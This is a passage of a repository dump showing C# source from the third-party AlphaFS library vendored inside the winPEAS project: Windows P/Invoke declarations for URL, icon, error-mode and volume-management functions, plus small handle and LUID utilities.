[DllImport(\"shlwapi.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"UrlCreateFromPathW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint UrlCreateFromPath([MarshalAs(UnmanagedType.LPWStr)] string pszPath, StringBuilder pszUrl, ref uint pcchUrl, [MarshalAs(UnmanagedType.U4)] uint dwFlags);\n\n\n      /// <summary>Tests whether a URL is a specified type.</summary>\n      /// <returns>\n      /// Type: BOOL\n      /// For all but one of the URL types, UrlIs returns <c>true</c> if the URL is the specified type, <c>true</c> otherwise.\n      /// If UrlIs is set to <see cref=\"Shell32.UrlType.IsAppliable\"/>, UrlIs will attempt to determine the URL scheme.\n      /// If the function is able to determine a scheme, it returns <c>true</c>, or <c>false</c>.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows 2000 Server [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"shlwapi.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"UrlIsW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool UrlIs([MarshalAs(UnmanagedType.LPWStr)] string pszUrl, Shell32.UrlType urlIs);\n\n      #endregion // Path\n\n\n      /// <summary>Destroys an icon and frees any memory the icon occupied.</summary>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows 2000 Server [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"user32.dll\", SetLastError = false)]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool DestroyIcon(IntPtr hIcon);\n\n\n      /// <summary>Retrieves information about an object in the file system, such as a file, folder, directory, or drive root.</summary>\n      /// <remarks>You should call this function from a background thread. Failure to do so could cause the UI to stop responding.</remarks>\n      /// <remarks>Minimum supported client: Windows 2000 Professional [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows 2000 Server [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"shell32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"SHGetFileInfoW\"), SuppressUnmanagedCodeSecurity]\n      internal static extern IntPtr ShGetFileInfo([MarshalAs(UnmanagedType.LPWStr)] string pszPath, FileAttributes dwFileAttributes, [MarshalAs(UnmanagedType.Struct)] out Shell32.FileInfo psfi, [MarshalAs(UnmanagedType.U4)] uint cbFileInfo, [MarshalAs(UnmanagedType.U4)] Shell32.FileAttributes uFlags);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.Utilities.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Alphaleonis.Win32.Security;\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      internal static uint GetHighOrderDword(long highPart)\n      {\n         return (uint) ((highPart >> 32) & 0xFFFFFFFF);\n      }\n\n\n      internal static uint GetLowOrderDword(long lowPart)\n      {\n         return (uint) (lowPart & 0xFFFFFFFF);\n      }\n\n\n      internal static long LuidToLong(LUID luid)\n      {\n         var high = (ulong) luid.HighPart << 32;\n         var low = (ulong) luid.LowPart & 0x00000000FFFFFFFF;\n\n         return unchecked((long) (high | low));\n      }\n\n\n      internal static LUID LongToLuid(long lluid)\n      {\n         return new LUID {HighPart = (uint) (lluid >> 32), LowPart = (uint) (lluid & 0xFFFFFFFF)};\n      }\n\n\n      internal static long ToLong(uint highPart, uint lowPart)\n      {\n         return ((long) highPart << 32) | ((long) lowPart & 0xFFFFFFFF);\n      }\n\n\n      /// <summary>Check is the current handle is not null, not closed and not invalid.</summary>\n      /// <param name=\"handle\">The current handle to check.</param>\n      /// <param name=\"throwException\"><c>true</c> will throw an <exception cref=\"Resources.Handle_Is_Invalid\"/>, <c>false</c> will not raise this exception..</param>\n      /// <returns><c>true</c> on success, <c>false</c> otherwise.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      internal static bool IsValidHandle(SafeHandle handle, bool throwException = true)\n      {\n         if (null == handle || handle.IsClosed || handle.IsInvalid)\n         {\n            CloseSafeHandle(handle);\n\n            if (throwException)\n               throw new ArgumentException(Resources.Handle_Is_Invalid, \"handle\");\n\n            return false;\n         }\n\n         return true;\n      }\n\n\n      /// <summary>Check is the current handle is not null, not closed and not invalid.</summary>\n      /// <param name=\"handle\">The current handle to check.</param>\n      /// <param name=\"lastError\">The result of Marshal.GetLastWin32Error()</param>\n      /// <param name=\"throwException\"><c>true</c> will throw an <exception cref=\"Resources.Handle_Is_Invalid_Win32Error\"/>, <c>false</c> will not raise this exception..</param>\n      /// <returns><c>true</c> on success, <c>false</c> otherwise.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      internal static bool IsValidHandle(SafeHandle handle, int lastError, bool throwException = true)\n      {\n         if (null == handle || handle.IsClosed || handle.IsInvalid)\n         {\n            CloseSafeHandle(handle);\n\n            if (throwException)\n               throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Handle_Is_Invalid_Win32Error, lastError), \"handle\");\n\n            return false;\n         }\n\n         return true;\n      }\n\n\n      /// <summary>Check is the current handle is not null, not closed and not invalid.</summary>\n      /// <param name=\"handle\">The current handle to check.</param>\n      /// <param name=\"lastError\">The result of Marshal.GetLastWin32Error()</param>\n      /// <param name=\"path\">The path on which the Exception occurred.</param>\n      /// <param name=\"throwException\"><c>true</c> will throw an <exception cref=\"Resources.Handle_Is_Invalid_Win32Error\"/>, <c>false</c> will not raise this exception..</param>\n      /// <returns><c>true</c> on success, <c>false</c> otherwise.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"Exception\"/>\n      internal static bool IsValidHandle(SafeHandle handle, int lastError, string path, bool throwException = true)\n      {\n         if (null == handle || handle.IsClosed || handle.IsInvalid)\n         {\n            CloseSafeHandle(handle);\n\n            if (throwException)\n               NativeError.ThrowException(lastError, path);\n\n            return false;\n         }\n\n         return true;\n      }\n\n\n      /// <summary>Check is the current handle is not null, not closed and not invalid.</summary>\n      /// <param name=\"handle\">The current handle to check.</param>\n      /// <param name=\"lastError\">The result of Marshal.GetLastWin32Error()</param>\n      /// <param name=\"isFolder\">When <c>true</c> indicates the source is a directory, <c>false</c> indicates a file and <c>null</c> specifies a physical device.</param>\n      /// <param name=\"path\">The path on which the Exception occurred.</param>\n      /// <param name=\"throwException\"><c>true</c> will throw an <exception cref=\"Resources.Handle_Is_Invalid_Win32Error\"/>, <c>false</c> will not raise this exception..</param>\n      /// <returns><c>true</c> on success, <c>false</c> otherwise.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"Exception\"/>\n      internal static bool CloseHandleAndPossiblyThrowException(SafeHandle handle, int lastError, bool? isFolder, string path, bool throwException = true)\n      {\n         if (null == handle || handle.IsClosed || handle.IsInvalid)\n         {\n            CloseSafeHandle(handle);\n\n            if (throwException)\n               NativeError.ThrowException(lastError, isFolder, path);\n\n            return false;\n         }\n\n         return true;\n      }\n\n\n      internal static void CloseSafeHandle(SafeHandle handle)\n      {\n         if (null != handle && !handle.IsClosed)\n            handle.Close();\n\n         handle = null;\n      }\n\n\n      /// <summary>Controls whether the system will handle the specified types of serious errors or whether the process will handle them.</summary>\n      /// <remarks>\n      ///   Because the error mode is set for the entire process, you must ensure that multi-threaded applications do not set different error-\n      ///   mode attributes. Doing so can lead to inconsistent error handling.\n      /// </remarks>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only].</remarks>\n      /// <param name=\"uMode\">The mode.</param>\n      /// <returns>The return value is the previous state of the error-mode bit attributes.</returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      private static extern ErrorMode SetErrorMode(ErrorMode uMode);\n\n\n      /// <summary>Controls whether the system will handle the specified types of serious errors or whether the calling thread will handle them.</summary>\n      /// <remarks>\n      ///   Because the error mode is set for the entire process, you must ensure that multi-threaded applications do not set different error-\n      ///   mode attributes. Doing so can lead to inconsistent error handling.\n      /// </remarks>\n      /// <remarks>Minimum supported client: Windows 7 [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 R2 [desktop apps only].</remarks>\n      /// <param name=\"dwNewMode\">The new mode.</param>\n      /// <param name=\"lpOldMode\">[out] The old mode.</param>\n      /// <returns>The return value is the previous state of the error-mode bit attributes.</returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      private static extern bool SetThreadErrorMode(ErrorMode dwNewMode, [MarshalAs(UnmanagedType.U4)] out ErrorMode lpOldMode);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.VolumeManagement.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {  \n      /// <summary>Defines, redefines, or deletes MS-DOS device names.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"DefineDosDeviceW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool DefineDosDevice(DosDeviceAttributes dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string lpDeviceName, [MarshalAs(UnmanagedType.LPWStr)] string lpTargetPath);\n\n      /// <summary>Deletes a drive letter or mounted folder.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"DeleteVolumeMountPointW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool DeleteVolumeMountPoint([MarshalAs(UnmanagedType.LPWStr)] string lpszVolumeMountPoint);\n\n      /// <summary>Retrieves the name of a volume on a computer. FindFirstVolume is used to begin scanning the volumes of a computer.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is a search handle used in a subsequent call to the FindNextVolume and FindVolumeClose functions.\n      /// If the function fails to find any volumes, the return value is the INVALID_HANDLE_VALUE error code. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"FindFirstVolumeW\"), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFindVolumeHandle FindFirstVolume(StringBuilder lpszVolumeName, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength);\n\n      /// <summary>Retrieves the name of a mounted folder on the specified volume. FindFirstVolumeMountPoint is used to begin scanning the mounted folders on a volume.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is a search handle used in a subsequent call to the FindNextVolumeMountPoint and FindVolumeMountPointClose functions.\n      /// If the function fails to find a mounted folder on the volume, the return value is the INVALID_HANDLE_VALUE error code.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"FindFirstVolumeMountPointW\"), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFindVolumeMountPointHandle FindFirstVolumeMountPoint([MarshalAs(UnmanagedType.LPWStr)] string lpszRootPathName, StringBuilder lpszVolumeMountPoint, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength);\n\n      /// <summary>Continues a volume search started by a call to the FindFirstVolume function. FindNextVolume finds one volume per call.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"FindNextVolumeW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool FindNextVolume(SafeFindVolumeHandle hFindVolume, StringBuilder lpszVolumeName, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength);\n\n      /// <summary>Continues a mounted folder search started by a call to the FindFirstVolumeMountPoint function. FindNextVolumeMountPoint finds one mounted folder per call.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError. If no more mounted folders can be found, the GetLastError function returns the ERROR_NO_MORE_FILES error code.\n      /// In that case, close the search with the FindVolumeMountPointClose function.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"FindNextVolumeMountPointW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool FindNextVolumeMountPoint(SafeFindVolumeMountPointHandle hFindVolume, StringBuilder lpszVolumeName, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength);\n\n      /// <summary>Closes the specified volume search handle.</summary>\n      /// <remarks>\n      ///   <para>SetLastError is set to <c>false</c>.</para>\n      ///   Minimum supported client: Windows XP [desktop apps only]. Minimum supported server: Windows Server 2003 [desktop apps only].\n      /// </remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool FindVolumeClose(IntPtr hFindVolume);\n\n      /// <summary>Closes the specified mounted folder search handle.</summary>\n      /// <remarks>\n      ///   <para>SetLastError is set to <c>false</c>.</para>\n      ///   <para>Minimum supported client: Windows XP</para>\n      ///   <para>Minimum supported server: Windows Server 2003</para>\n      /// </remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool FindVolumeMountPointClose(IntPtr hFindVolume);\n\n      /// <summary>\n      ///   Determines whether a disk drive is a removable, fixed, CD-ROM, RAM disk, or network drive.\n      ///   <para>To determine whether a drive is a USB-type drive, call <see cref=\"SetupDiGetDeviceRegistryProperty\"/> and specify the\n      ///   SPDRP_REMOVAL_POLICY property.</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>SMB does not support volume management functions.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <param name=\"lpRootPathName\">Full pathname of the root file.</param>\n      /// <returns>\n      ///   <para>The return value specifies the type of drive, see <see cref=\"DriveType\"/>.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetDriveTypeW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern DriveType GetDriveType([MarshalAs(UnmanagedType.LPWStr)] string lpRootPathName);\n\n      /// <summary>\n      ///   Retrieves a bitmask representing the currently available disk drives.\n      /// </summary>\n      /// <remarks>\n      ///   <para>SMB does not support volume management functions.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is a bitmask representing the currently available disk drives.</para>\n      ///   <para>Bit position 0 (the least-significant bit) is drive A, bit position 1 is drive B, bit position 2 is drive C, and so on.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetLogicalDrives();\n\n      /// <summary>Retrieves information about the file system and volume associated with the specified root directory.</summary>\n      /// <returns>\n      /// If all the requested information is retrieved, the return value is nonzero.\n      /// If not all the requested information is retrieved, the return value is zero.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      /// <remarks>\"lpRootPathName\" must end with a trailing backslash.</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetVolumeInformationW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetVolumeInformation([MarshalAs(UnmanagedType.LPWStr)] string lpRootPathName, StringBuilder lpVolumeNameBuffer, [MarshalAs(UnmanagedType.U4)] uint nVolumeNameSize, [MarshalAs(UnmanagedType.U4)] out uint lpVolumeSerialNumber, [MarshalAs(UnmanagedType.U4)] out int lpMaximumComponentLength, [MarshalAs(UnmanagedType.U4)] out VOLUME_INFO_FLAGS lpFileSystemAttributes, StringBuilder lpFileSystemNameBuffer, [MarshalAs(UnmanagedType.U4)] uint nFileSystemNameSize);\n\n      /// <summary>Retrieves information about the file system and volume associated with the specified file.</summary>\n      /// <returns>\n      /// If all the requested information is retrieved, the return value is nonzero.\n      /// If not all the requested information is retrieved, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>To retrieve the current compression state of a file or directory, use FSCTL_GET_COMPRESSION.</remarks>\n      /// <remarks>SMB does not support volume management functions.</remarks>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetVolumeInformationByHandleW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetVolumeInformationByHandle(SafeFileHandle hFile, StringBuilder lpVolumeNameBuffer, [MarshalAs(UnmanagedType.U4)] uint nVolumeNameSize, [MarshalAs(UnmanagedType.U4)] out uint lpVolumeSerialNumber, [MarshalAs(UnmanagedType.U4)] out int lpMaximumComponentLength, out VOLUME_INFO_FLAGS lpFileSystemAttributes, StringBuilder lpFileSystemNameBuffer, [MarshalAs(UnmanagedType.U4)] uint nFileSystemNameSize);\n\n      /// <summary>Retrieves a volume GUID path for the volume that is associated with the specified volume mount point (drive letter, volume GUID path, or mounted folder).</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Use GetVolumeNameForVolumeMountPoint to obtain a volume GUID path for use with functions such as SetVolumeMountPoint and FindFirstVolumeMountPoint that require a volume GUID path as an input parameter.</remarks>\n      /// <remarks>SMB does not support volume management functions.</remarks>\n      /// <remarks>Mount points aren't supported by ReFS volumes.</remarks>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetVolumeNameForVolumeMountPointW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetVolumeNameForVolumeMountPoint([MarshalAs(UnmanagedType.LPWStr)] string lpszVolumeMountPoint, StringBuilder lpszVolumeName, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength);\n\n      /// <summary>Retrieves the volume mount point where the specified path is mounted.</summary>\n      /// <remarks>\n      ///   <para>If a specified path is passed, GetVolumePathName returns the path to the volume mount point, which means that it returns the\n      ///   root of the volume where the end point of the specified path is located.</para>\n      ///   <para>For example, assume that you have volume D mounted at C:\\Mnt\\Ddrive and volume E mounted at \"C:\\Mnt\\Ddrive\\Mnt\\Edrive\". Also\n      ///   assume that you have a file with the path \"E:\\Dir\\Subdir\\MyFile\".</para>\n      ///   <para>If you pass \"C:\\Mnt\\Ddrive\\Mnt\\Edrive\\Dir\\Subdir\\MyFile\" to GetVolumePathName, it returns the path \"C:\\Mnt\\Ddrive\\Mnt\\Edrive\\\".</para>\n      ///   <para>If a network share is specified, GetVolumePathName returns the shortest path for which GetDriveType returns DRIVE_REMOTE,\n      ///   which means that the path is validated as a remote drive that exists, which the current user can access.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetVolumePathNameW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetVolumePathName([MarshalAs(UnmanagedType.LPWStr)] string lpszFileName, StringBuilder lpszVolumePathName, [MarshalAs(UnmanagedType.U4)] uint cchBufferLength);\n\n      /// <summary>Retrieves a list of drive letters and mounted folder paths for the specified volume.</summary>\n      /// <remarks>Minimum supported client: Windows XP.</remarks>\n      /// <remarks>Minimum supported server: Windows Server 